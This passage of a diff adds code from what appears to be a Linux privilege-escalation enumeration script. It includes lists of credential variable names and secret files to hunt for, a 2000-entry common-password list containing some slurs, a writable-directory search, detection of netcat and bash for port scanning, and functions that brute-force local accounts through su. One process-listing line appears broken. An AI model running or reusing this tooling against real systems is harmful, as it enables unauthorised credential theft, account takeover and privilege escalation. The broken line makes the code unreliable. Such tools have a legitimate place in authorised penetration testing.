SECRET_ID|VAULT_PATH|VIP_GITHUB_BUILD_REPO_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY_PASS"
+pwd_in_variables11="VIRUSTOTAL_APIKEY|VISUAL_RECOGNITION_API_KEY|V_SFDC_CLIENT_ID|V_SFDC_CLIENT_SECRET|WAKATIME_API_KEY|WAKATIME_PROJECT|WATSON_CLIENT|WATSON_CONVERSATION_WORKSPACE|WATSON_DEVICE|WATSON_DEVICE_TOPIC|WATSON_TEAM_ID|WATSON_TOPIC|WIDGET_BASIC_USER_2|WIDGET_BASIC_USER_3|WIDGET_BASIC_USER_4|WIDGET_BASIC_USER_5|WIDGET_FB_USER|WIDGET_FB_USER_2|WIDGET_FB_USER_3|WIDGET_TEST_SERVERWORDPRESS_DB_USER|WORKSPACE_ID|WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY|WPT_DB_HOST|WPT_DB_NAME|WPT_DB_USER|WPT_PREPARE_DIR|WPT_REPORT_API_KEY|WPT_SSH_CONNECT|WPT_SSH_PRIVATE_KEY_BASE64|YANGSHUN_GH_TOKEN|YT_ACCOUNT_CHANNEL_ID|YT_ACCOUNT_CLIENT_ID|YT_ACCOUNT_CLIENT_SECRET|YT_ACCOUNT_REFRESH_TOKEN|YT_API_KEY|YT_CLIENT_ID|YT_CLIENT_SECRET|YT_PARTNER_CHANNEL_ID|YT_PARTNER_CLIENT_ID|YT_PARTNER_CLIENT_SECRET|YT_PARTNER_ID|YT_PARTNER_REFRESH_TOKEN|YT_SERVER_API_KEY|ZHULIANG_GH_TOKEN|ZOPIM_ACCOUNT_KEY"
+
+top2000pwds="123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \
+snickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 12344321 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \
+stephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369 007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \
+redsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 147852 12121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 789456123 77777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \
+nigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 54321 252525 111222 0000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999 142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \
+katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 321321 2222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123 151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 7654321 4444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \
+charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \
+andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \
+plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude"
+PASSTRY="2000" # Default num of passwds to try (all by default)
+
+if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi # If Network reduce the time on this
+SEDOVERFLOW=true
+for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do
+ wgroups="$wgroups -group $grp -or "
+done
+wgroups="$(echo $wgroups | sed -e 's/ -or$//')"
+while $SEDOVERFLOW; do
+ #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort`
+ #if [ "$MACPEAS" ]; then
+ WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | sort) #OpenBSD find command doesn't have "-writable" option
+ #else
+ # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort`
+ #fi
+ Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*"
+ Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm
+ if ! [ "$Wfolder" ]; then
+ Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)"
+ fi
+ printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1
+ if [ $? -eq 0 ]; then
+ SEDOVERFLOW=false
+ else
+ MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) # If overflow of directories, check again with MAXPATH_FIND_W - 1
+ fi
+ if [ $MAXPATH_FIND_W -lt 1 ] ; then # Prevents infinite loop
+ SEDOVERFLOW=false
+ fi
+done
+
+
+notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$|\.j2k$|\.j2c$|\.fpx$|\.pcd$|\.png$|\.pdf$|\.flv$|\.mp4$|\.mp3$|\.gifv$|\.avi$|\.mov$|\.mpeg$|\.wav$|\.doc$|\.docx$|\.xls$|\.xlsx$|\.svg$"
+
+TIMEOUT="$(command -v timeout 2>/dev/null)"
+STRACE="$(command -v strace 2>/dev/null)"
+STRINGS="$(command -v strings 2>/dev/null)"
+LDD="$(command -v ldd 2>/dev/null)"
+READELF="$(command -v readelf 2>/dev/null)"
+
+shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh"
+
+notBackup="/tdbbackup$|/db_hotbackup$"
+
+cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|"
+cronjobsB="centreon"
+
+processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port'
+processesB="amazon-ssm-agent|knockd|splunk"
+processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:"
+
+mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier"
+
+profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh"
+
+knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com"
+
+timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer"
+
+commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$"
+commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes"
+
+ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib"
+
+dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism"
+USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm"
+TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible."
+GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion"
+GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig"
+GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console"
+
+INT_HIDDEN_FILES=".Xauthority|.bashrc|.bluemix|.boto|.cer|.cloudflared|.credentials.json|.crt|.csr|.db|.der|.docker|.env|.erlang.cookie|.flyrc|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.keytab|.kube|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pub|.pypirc|.rdg|.recently-used.xbel|.rhosts|.roadtools_auth|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.tf|.tfstate|.timer|.vault-token|.vhd|.vhdx|.viminfo|.vmdk|.vnc|.wgetrc"
+
+
+###########################################
+#---------) Checks before start (---------#
+###########################################
+# --) ps working good
+# --) Network binaries
+
+if [ "$(ps auxwww 2>/dev/null | wc -l 2>/dev/null)" -lt 8 ]; then
+ NOUSEPS="1"
+fi
+
+DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)"
+FPING=$(command -v fping 2>/dev/null)
+PING=$(command -v ping 2>/dev/null)
+if [ "$FPING" ]; then
+ DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)"
+else
+ if [ "$PING" ]; then
+ DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)"
+ fi
+fi
+
+SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)"
+
+if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then
+ FOUND_BASH=$(command -v bash);
+elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then
+ FOUND_BASH="/bin/bash";
+fi
+if [ "$FOUND_BASH" ]; then
+ SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n"
+fi
+
+FOUND_NC=$(command -v nc 2>/dev/null)
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v netcat 2>/dev/null);
+fi
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v ncat 2>/dev/null);
+fi
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v nc.traditional 2>/dev/null);
+fi
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v nc.openbsd 2>/dev/null);
+fi
+if [ "$FOUND_NC" ]; then
+ SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n"
+fi
+
+
+###########################################
+#-----------) Main Functions (------------#
+###########################################
+
+echo_not_found (){
+ printf $DG"$1 Not Found\n"$NC
+}
+
+warn_exec(){
+ $* 2>/dev/null || echo_not_found $1
+}
+
+echo_no (){
+ printf $DG"No\n"$NC
+}
+
+print_title(){
+ if [ "$DEBUG" ]; then
+ END_T2_TIME=$(date +%s 2>/dev/null)
+ if [ "$START_T2_TIME" ]; then
+ TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))
+ printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC
+ fi
+
+ END_T1_TIME=$(date +%s 2>/dev/null)
+ if [ "$START_T1_TIME" ]; then
+ TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME))
+ printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC
+ echo ""
+ fi
+
+ START_T1_TIME=$(date +%s 2>/dev/null)
+ fi
+
+ title=$1
+ title_len=$(echo $title | wc -c)
+ max_title_len=80
+ rest_len=$((($max_title_len - $title_len) / 2))
+
+ printf ${BLUE}
+ for i in $(seq 1 $rest_len); do printf " "; done
+ printf "╔"
+ for i in $(seq 1 $title_len); do printf "═"; done; printf "═";
+ printf "╗"
+
+ echo ""
+
+ for i in $(seq 1 $rest_len); do printf "═"; done
+ printf "╣ $GREEN${title}${BLUE} ╠"
+ for i in $(seq 1 $rest_len); do printf "═"; done
+
+ echo ""
+
+ printf ${BLUE}
+ for i in $(seq 1 $rest_len); do printf " "; done
+ printf "╚"
+ for i in $(seq 1 $title_len); do printf "═"; done; printf "═";
+ printf "╝"
+
+ printf $NC
+ echo ""
+}
+
+print_2title(){
+ if [ "$DEBUG" ]; then
+ END_T2_TIME=$(date +%s 2>/dev/null)
+ if [ "$START_T2_TIME" ]; then
+ TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))
+ printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC
+ echo ""
+ fi
+
+ START_T2_TIME=$(date +%s 2>/dev/null)
+ fi
+
+ printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC # There are 10 "═"
+}
+
+print_3title(){
+ printf ${BLUE}"══╣ $GREEN$1\n"$NC # There are 2 "═"
+}
+
+print_3title_no_nl(){
+ printf "\033[2K\r"
+ printf ${BLUE}"══╣ $GREEN${1}..."$NC # There are 2 "═"
+}
+
+print_list(){
+ printf ${BLUE}"═╣ $GREEN$1"$NC # There is 1 "═"
+}
+
+print_info(){
+ printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC
+}
+
+print_ps (){
+ (ls -d /proc/*/ 2>/dev/null | while read f; do
+ CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); # Delete my own sed processess
+ if [ "$CMDLINE" ];
+ then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3);
+ printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE";
+ fi;
+ done) 2>/dev/null | sort -r
+}
+
+su_try_pwd (){
+ BFUSER=$1
+ PASSWORDTRY=$2
+ trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null)
+ if [ "$trysu" ]; then
+ echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ fi
+}
+
+su_brute_user_num (){
+ BFUSER=$1
+ TRIES=$2
+ su_try_pwd "$BFUSER" "" & # Try without password
